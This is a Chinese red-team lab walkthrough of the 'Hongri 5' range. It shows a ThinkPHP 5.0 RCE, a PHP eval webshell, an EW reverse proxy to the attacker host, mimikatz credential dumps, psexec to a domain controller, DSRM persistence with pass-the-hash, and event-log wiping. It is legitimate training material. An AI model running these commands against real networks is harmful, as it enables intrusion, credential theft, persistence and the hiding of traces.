红日靶场(五)

红日5

一.环境搭建

此次靶场虚拟机共用两个,一个外网一个内网,用来练习红队相关内容和方向,主要包括常规信息收集、Web攻防、代码审计、漏洞利用、内网渗透以及域渗透等相关内容学习

1.环境拓扑图

2.靶机下载地址: 漏洞详情

3. 我们设置VMware新建网卡VMnet14,选择仅主机模式,并将网段IP设置为192.168.138.0:

4. 然后将Windows 7和Windows 2008绑在这个VMnet14上。除此之外,还需要给Windows 7 新增一个网卡,并设置为桥接模式。最终Windows 7具有两个网卡,分别连通内外网,而Windows 2008只有一个网卡连接,处于内网无法与外网通信

注意,win7的外网IP,作者已经改成手动135.150了,我们需要登录进去win7,把wk1网卡改成自动获取

5.ip地址如下:

Windows 7:

•Web服务器(使用的是PHPStudy,记得自己手动开一下

•模拟外网IP:10.10.10.237

•内网IP:192.168.138.136

Windows Server 2008:

•域控制器

•内网IP:192.168.138.138

6.主机密码

win7

sun\heart 123.com

sun\Administrator dc123.com

2008

sun\admin 2020.com

Win7双网卡模拟内外网

二.外网渗透

1. 我们使用nmap进行扫描win7:

nmap -T4 -sC -sV 192.168.138.136

发现Web服务和Mysql:

2.我们访问80端口,发现是一个thinkphp

3. 版本是ThinkPHP V5.0,既然是V5.0,那么我们就可以尝试一下Thinkphp远程命令执行漏洞

漏洞描述:由于thinkphp对框架中的核心Requests类的method方法提供了表单请求伪造,该功能利用 $_POST['_method'] 来传递真实的请求方法。但由于框架没有对参数进行验证,导致攻击者可以设置 $_POST['_method']='__construct' 而让该类的变量被覆盖。攻击者利用该方式将filter变量覆盖为system等函数名,当内部进行参数过滤时便会进行执行任意命令

4. 报错查看详细版本:

5. 方法一:

1)使用kali的searchsploit查找一下漏洞利用POC:

searchsploit thinkphp

2)发现最后一个是thinkphp5.X版本的RCE,我们进入该漏洞的文件46150.txt:

cd /usr/share/exploitdb/exploits/php/webapps

cat 46150.txt

3)命令执行成功:

4)写入Webshell:

5)我们连接蚁剑

6.方法二:

1) 使用ThinkPHP一键检测工具进行漏洞检测

2) 成功检测出漏洞后,利用漏洞上传木马文件。

<?php

phpinfo();

@eval($_POST['shell']);

?>

3) 查看URL可以看到,我们的一句话木马上传成功

4)接下来就是使用蚁剑进行连接

三. 攻入内网

内网信息收集(有多种方法:msf、cs、蚁剑)

接下来要做的就是信息收集了,msf和cs收集的步骤在1,2里面讲过这里不在讲,这里我们只做几个有用的信息收集

1)我们查看ip地址

2)我们查看显示当前运行的工作站

3)查看域内主机

4) 查看域控制器

5) 查看域管理员

6) 可知域控制器为DC$,域管理员为Administrator。ping一下DC$得到域控的IP为192.168.138.138:

通过信息收集,目标主机所在的域环境,域名为sun.com,存在两台域主机DC和win7.DC的ip为:192.168.138.138,win7双网卡:192.168.135.150、192.168.138.136。

其中域控制器DC.sun.com,域管理员为Administrator。

提示: 这里我们使用metasploit的web_delivery模块

四.横向移动

1.msf路由转发

2. kali开启代理

vim /etc/proxychains4.conf

sock5 127.0.0.1 1080

3. 把ew上传到win7上

upload/app/tools/ew-master/ew_for_Win.exe C:\\phpStudy\\PHPTutorial\\WWW\\public

win7连接kali

ew_for_Win.exe -s rssocks -d 192.168.31.96 -e 1234

4.msf渗透

1) wiki模块抓取密码

load kiwi

kiwi_cmd privilege::debug

kiwi_cmd sekurlsa::logonPasswords

2) 报错了,这一看就是位数不对,mimikatz是32位,不能访问64位的,那就给迁移到64位

ps

migrate 316

3)我们再次执行拿到域管理员的用户名和密码

administrator/dc2020.com

kiwi_cmd sekurlsa::logonPasswords

4) 利用Psexec登录域控

use exploit/windows/smb/psexec

set rhosts 192.168.138.138

set SMBDomain SUN

set SMBUser administrator

set SMBPass dc2020.com

set payload windows/meterpreter/bind_tcp

set rhost 192.168.138.138

set lport 6666

run

执行失败了

服务启动超时,试试是不是防火墙,利用shell建立连接,关闭防火墙(我们使用蚁剑)

我们再次连接

5) 我们已经成功获取2个主机的会话

6)我们开启远程桌面

五.权限维持

1. 创建 DSRM 后门

DSRM是Windows域环境中域控制器的安全模式启动选项。每个域控制器都有一个本地管理员账号(也就是DSRM账号)。DSRM的用途是:允许管理员在域环境出现故障或崩溃时还原、修复、重建活动目录数据库,使域环境的运行恢复正常。在域环境创建初期,DSRM的密码需要在安装DC时设置,且很少会被重置。修改DSRM密码最基本的方法是在DC上运行 ntdsutil 命令。

在渗透测试中,可以使用DSRM账号对域环境进行持久化操作。我们知道,每个DC都有本地管理员(administrator)账号和密码(与域管理员账号密码不同)。DSRM账号可以作为每个域控制器的本地管理员用户,通过网络连接域控制器,进而控制域控制器。

注意:该类持久化操作适用的服务器版本:Windows Server 2008及以后版本的Windows服务器。

1) 首先,我们为 DSRM 账号设置新密码。在域控制器(Windows 2008)的cmd中进入ntdsutil,然后输入下面命令进行修改DSRM账户的密码

ntdsutil    // 进入ntdsutil

set dsrm password    // 设置DSRM账户的密码

reset password on server null    // 在当前域控制器上恢复DSRM密码

<password>    // 输入新密码

<password>    // 重新输入新密码

q    //退出DSRM密码设置模式

q    // 退出ntdsutil

2) 接着,我们使用kiwi模块执行mimikatz命令来读取域控本地SAM文件中的本地管理员的NTLM Hash,确认域控制器上DSRM账户的密码是否修改成功:

load kiwi

kiwi_cmd privilege::debug

kiwi_cmd token::elevate

kiwi_cmd lsadump::sam

3) 然后,我们修改域控主机的DSRM账户登录方式。在Windows Server 2000以后的版本操作系统中,对DSRM使用控制台登录域控制器进行了限制。我们可以在注册表的HKLM:\System\CurrentControlSet\Control\Lsa\中新建DsrmAdminLogonBehavior项进行设置,将该新建的项中的值设为0、1、2可以分别设置不同的DSRM账户登录方式

•0:默认值,只有当域控制器重启并进入DSRM模式时,才可以使用DSRM管理员账号

•1:只有当本地AD、DS服务停止时,才可以使用DSRM管理员账号登录域控制器

•2:在任何情况下,都可以使用DSRM管理员账号登录域控制器

如下所示,我们用powershell命令将DSRM的登录方式设置为“2”,即在任何情况下,都可以使用DSRM管理员账号登录域控制器:

4) 最后,我们即可以在域成员主机Windows7上通过mimikatz,使用域控制器的本地Administrator账号哈希传递攻击域控了:

privilege::debug

sekurlsa::pth /domain:DC /user:Administrator /ntlm:你的hash

5) 详情请看:内网渗透测试:域内权限维持思路总结 - FreeBuf网络安全行业门户

六. 入侵痕迹清理

Metasploit 痕迹清除

(1)查看事件日志

run event_manager -i

(2)清除事件日志(包括六种日志类型)

run event_manager -c

  • 1
    点赞
  • 21
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

MS02423

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值